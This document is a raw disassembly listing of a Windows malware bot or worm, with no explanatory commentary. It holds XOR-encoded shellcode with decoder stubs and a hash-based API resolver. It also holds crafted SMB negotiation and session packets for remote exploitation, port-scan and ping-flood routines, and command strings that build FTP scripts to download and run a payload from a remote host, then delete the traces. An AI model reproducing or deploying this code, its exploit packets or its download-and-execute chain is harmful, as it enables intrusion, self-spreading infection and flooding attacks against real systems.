aScanSSPortScan db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
; DATA XREF: sub_422B40+8F3o
db 0
align 10h
aSequential db 'sequential',0 ; DATA XREF: sub_422B40+8B3o
align 10h
aRandom db 'random',0 ; DATA XREF: sub_422B40+8ACo
align 4
aScanNoIpSpecif db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
align 10h
dd 0
aB db ' -b',0 ; DATA XREF: sub_422B40+747o
off_4455F8 dd offset dword_612D20 ; DATA XREF: sub_422B40+737o
; sub_422B40+7A3o ...
dword_4455FC dd 722D20h ; sub_422B40+7E5o
aScanInvalidPor db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
align 8
aTotalD db ' total: %d',0 ; DATA XREF: sub_422B40+397o
align 8
aSD db ' %s: %d,',0 ; DATA XREF: sub_422B40+35Fo
align 4
aScanStats db 'scan: stats:',0 ; DATA XREF: sub_422B40+336o
align 4
aScanTooManyThr db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
dd 2 dup(0)
aScanCouldnTSto db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
align 10h
aScanStoppedDTh db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
align 10h
aFtpPortDTotalS db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
align 10h
dd 2 dup(0)
aScanNotStarted db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
align 10h
aScanCipS db 'scan: cip (%s)',0 ; DATA XREF: sub_422B40+6Do
align 10h
dd 0
dword_4456F4 dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
align 8
aSocketOpen_ db 'Socket open.',0 ; DATA XREF: ___:00423C25o
align 4
aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
dd 2 dup(0)
aSocketOpenFail db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
align 10h
aScanIpSPortDIs db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
align 8
aScanIpSDScanTh db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:00423DD6o
dd 3 dup(0)
aScanFinishedAt db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
; DATA XREF: ___:004242B7o
align 10h
aScanFailedToSt db '[SCAN]: Failed to start worker thread, error: <%d>.',0
; DATA XREF: ___:00424206o
align 10h
aScanSDScanThre db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
; DATA XREF: ___:0042414Fo
dd 3 dup(0)
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_424920+BDo
align 4
dword_4458B8 dd 10FF8h, 0 dword_4458C0 dd 10FF8h dword_4458C4 dd 7FFDF020h, 0 dword_4458CC dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445954 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_445984 dd 0 dword_445988 dd 800000D4h align 10h
; =============== S U B R O U T I N E =======================================
sub_445990 proc near ; DATA XREF: sub_425100+85o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_445A8C
push dword ptr [esi]
push 63D61209h
call sub_445AA2
mov [esi+8], eax
call sub_445A55
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_445AA2
mov [esi+0Ch], eax
call sub_445A07
push dword ptr [esi+4]
push 4C0297FAh
call sub_445AA2
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_445990 endp
; =============== S U B R O U T I N E =======================================
sub_445A07 proc near ; CODE XREF: sub_445990+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_445A30
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_445A07 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A30 proc near ; CODE XREF: sub_445A07+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_445A3F: ; CODE XREF: sub_445A30+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_445A4C
inc ebx
jmp short loc_445A3F
; ---------------------------------------------------------------------------
loc_445A4C: ; CODE XREF: sub_445A30+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_445A30 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445A55 proc near ; CODE XREF: sub_445990+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_445A6D: ; CODE XREF: sub_445A55+1Ej
cmp [ecx], ebx
jz short loc_445A75
mov ecx, [ecx]
jmp short loc_445A6D
; ---------------------------------------------------------------------------
loc_445A75: ; CODE XREF: sub_445A55+1Aj
mov edx, edi
loc_445A77: ; CODE XREF: sub_445A55+2Aj
cmp [edx+4], ebx
jz short loc_445A81
mov edx, [edx+4]
jmp short loc_445A77
; ---------------------------------------------------------------------------
loc_445A81: ; CODE XREF: sub_445A55+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_445A55 endp
; =============== S U B R O U T I N E =======================================
sub_445A8C proc near ; CODE XREF: sub_445990+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_445A8C endp
; =============== S U B R O U T I N E =======================================
sub_445AA2 proc near ; CODE XREF: sub_445990+16p
; sub_445990+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_445AB8: ; CODE XREF: sub_445AA2+33j
jecxz short loc_445AF2
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_445AC5: ; CODE XREF: sub_445AA2+2Dj
lodsb
cmp al, ah
jz short loc_445AD1
ror edi, 0Dh
add edi, eax
jmp short loc_445AC5
; ---------------------------------------------------------------------------
loc_445AD1: ; CODE XREF: sub_445AA2+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_445AB8
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_445AF2: ; CODE XREF: sub_445AA2:loc_445AB8j
; sub_445AA2:loc_445AF2j
jmp short loc_445AF2
sub_445AA2 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_445AF8 proc near ; DATA XREF: sub_425100+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_445B4A
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_445B15: ; CODE XREF: sub_445AF8+38j
jecxz short loc_445B45
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_445B20: ; CODE XREF: sub_445AF8+32j
lodsb
test al, al
jz short loc_445B2C
ror edx, 0Dh
add edx, eax
jmp short loc_445B20
; ---------------------------------------------------------------------------
loc_445B2C: ; CODE XREF: sub_445AF8+2Bj
cmp edx, [esp+arg_0]
jnz short loc_445B15
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_445B45: ; CODE XREF: sub_445AF8:loc_445B15j
mov [esp+arg_0], ebx
retn
sub_445AF8 endp
; =============== S U B R O U T I N E =======================================
sub_445B4A proc near ; CODE XREF: sub_445AF8+7p
; FUNCTION CHUNK AT 00445B82 SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_445B63
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_445B6E
; ---------------------------------------------------------------------------
loc_445B63: ; CODE XREF: sub_445B4A+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_445B6E: ; CODE XREF: sub_445B4A+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_445B82
sub_445B4A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445B75 proc near ; CODE XREF: sub_445B4A:loc_445B82p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_445B75 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_445B4A
loc_445B82: ; CODE XREF: sub_445B4A+29j
call sub_445B75
; END OF FUNCTION CHUNK FOR sub_445B4A
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_445C1C dd 23h dword_445C20 dd 60h dword_445C24 dd 62B0606h, 2050501h, 0A0hdword_445C30 dd 0A1h dword_445C34 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do
align 10h
loc_445C40: ; DATA XREF: sub_424920+100o
jmp short near ptr dword_445C48
; ---------------------------------------------------------------------------
align 8
dword_445C48 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425100+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_445D02
; =============== S U B R O U T I N E =======================================
sub_445CF2 proc far ; CODE XREF: sub_445CF2:loc_445D02p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_445CFA: ; CODE XREF: sub_445CF2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_445CFA
jmp short loc_445D07
; ---------------------------------------------------------------------------
loc_445D02: ; CODE XREF: ___:00445CF0j
call near ptr sub_445CF2
loc_445D07: ; CODE XREF: sub_445CF2+Ej
jo short loc_445D6B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_445D89
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_445D6B: ; CODE XREF: sub_445CF2:loc_445D07j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_445D89: ; CODE XREF: sub_445CF2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_445CF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_445E30: ; DATA XREF: sub_4257F0+12Bo
; sub_4257F0+135o ...
jmp short loc_445E42
; =============== S U B R O U T I N E =======================================
sub_445E32 proc near ; CODE XREF: sub_445E32:loc_445E42p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_445E3A: ; CODE XREF: sub_445E32+Cj
xor byte ptr [edx+ecx], 99h
loop loc_445E3A
jmp short loc_445E47
; ---------------------------------------------------------------------------
loc_445E42: ; CODE XREF: ___:loc_445E30j
call sub_445E32
loc_445E47: ; CODE XREF: sub_445E32+Ej
jo short near ptr dword_445DC0+1Eh
cwde
cdq
cdq
retn
sub_445E32 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
word_445EE0 dw 4B9Dh ; DATA XREF: sub_4257F0+105w
dw 59AAh
dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h
dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h
dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h
dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
dd 99EDFCF2h, 0
dword_445FC8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:00425E52o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446054 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425E87o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_446100 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425EB6o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4461E0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+5Do
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
db 43h, 0, 24h
dword_446237 dd 3F000000h dword_44623B dd 3F3F3F3Fh byte_44623F db 0 ; DATA XREF: sub_4257F0+B4r
dd 0
dword_446244 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2C2o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_4462B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2F5o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446354 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+3FAo
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4463D4 dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_446468 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+335o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4464D4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+368o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446548 dd 0 dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 3 dup(0)
dword_4465D4 dd 1004600h ; sub_4257F0+24Fr
dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467BC dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
align 10h
dd 0
aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
dd 2 dup(0)
aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
dd 0
aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
align 4
dd 0
aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
align 10h
dd 0
aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
align 10h
aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
align 8
aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
align 10h
dd 0
aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
align 10h
aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
align 4
dd 0
aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
align 8
dword_446908 dd 6EB06EBh align 10h
dword_446910 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o
dword_44691C dd 1CEC8166h dword_446920 dd 0E4FF07h align 8
dword_446928 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446974 dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_4469A4 dd 0FAh, 2, 0 dd 2, 0
dd 0FAh, 2 dup(0)
dword_4469C4 dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh
; ---------------------------------------------------------------------------
loc_4469CE: ; CODE XREF: ___:004469D8j
xor dword ptr [ebx+13h], 889097A8h
sub ebx, 0FFFFFFFCh
loop loc_4469CE
sub [ebx+6Fh], edx
db 67h
push edi
push 7CC274D4h
frstor byte ptr [eax+51h]
push 1CC8776Fh
cld
lodsb
mov word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
db 0F0h, 0A9h, 78h
dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh
dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h
dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h
dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h
dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h
dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
; DATA XREF: sub_426070+D6o
db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
align 10h
dd 6 dup(0)
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
align 10h
word_446C30 dw 2EBh ; DATA XREF: ___:00426331r
align 4
dword_446C34 dd 215h dd 0
dword_446C3C dd 20804h dd 0
; ---------------------------------------------------------------------------
loc_446C44: ; DATA XREF: sub_4267D0+CCo
jmp short loc_446C48
; ---------------------------------------------------------------------------
loc_446C46: ; CODE XREF: ___:loc_446C48p
jmp short loc_446C4D
; ---------------------------------------------------------------------------
loc_446C48: ; CODE XREF: ___:loc_446C44j
call loc_446C46
loc_446C4D: ; CODE XREF: ___:loc_446C46j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_446C52 dw 0FFFFh ; DATA XREF: sub_4267D0+D3w
db 80h, 73h, 0Eh
byte_446C57 db 0FFh ; DATA XREF: sub_4267D0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_446C5C: ; DATA XREF: sub_4267D0+A7o
jmp short loc_446C60
; ---------------------------------------------------------------------------
loc_446C5E: ; CODE XREF: ___:loc_446C60p
jmp short loc_446C65
; ---------------------------------------------------------------------------
loc_446C60: ; CODE XREF: ___:loc_446C5Cj
call loc_446C5E
loc_446C65: ; CODE XREF: ___:loc_446C5Ej
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_446C69 db 0FFh ; DATA XREF: sub_4267D0+AEw
dw 7380h
db 0Ch
byte_446C6D db 0FFh ; DATA XREF: sub_4267D0+B4w
dw 0E243h
dd 0F9h
dword_446C74 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_426560+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CD8 dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_446CE8 dd 74656720h byte_446CEC db 20h ; DATA XREF: sub_426560+A2r
dword_446CED dd 0E8006A00h dword_446CF1 dd 17h ; sub_426560+D2r
dword_446CF5 dd 0E8C30175h dword_446CF9 dd 1 ; sub_426560+E7r
byte_446CFD db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o
dd 7E8h
db 0, 0Fh, 84h
dword_446D07 dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_427740+22o
align 10h
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_427990+D0o
align 4
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
align 10h
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
align 10h
dd 0
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo
align 8
